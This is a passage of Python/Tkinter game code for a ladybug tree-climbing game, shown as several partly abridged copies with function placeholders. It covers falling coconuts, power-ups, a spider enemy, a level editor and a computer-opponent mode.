data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function 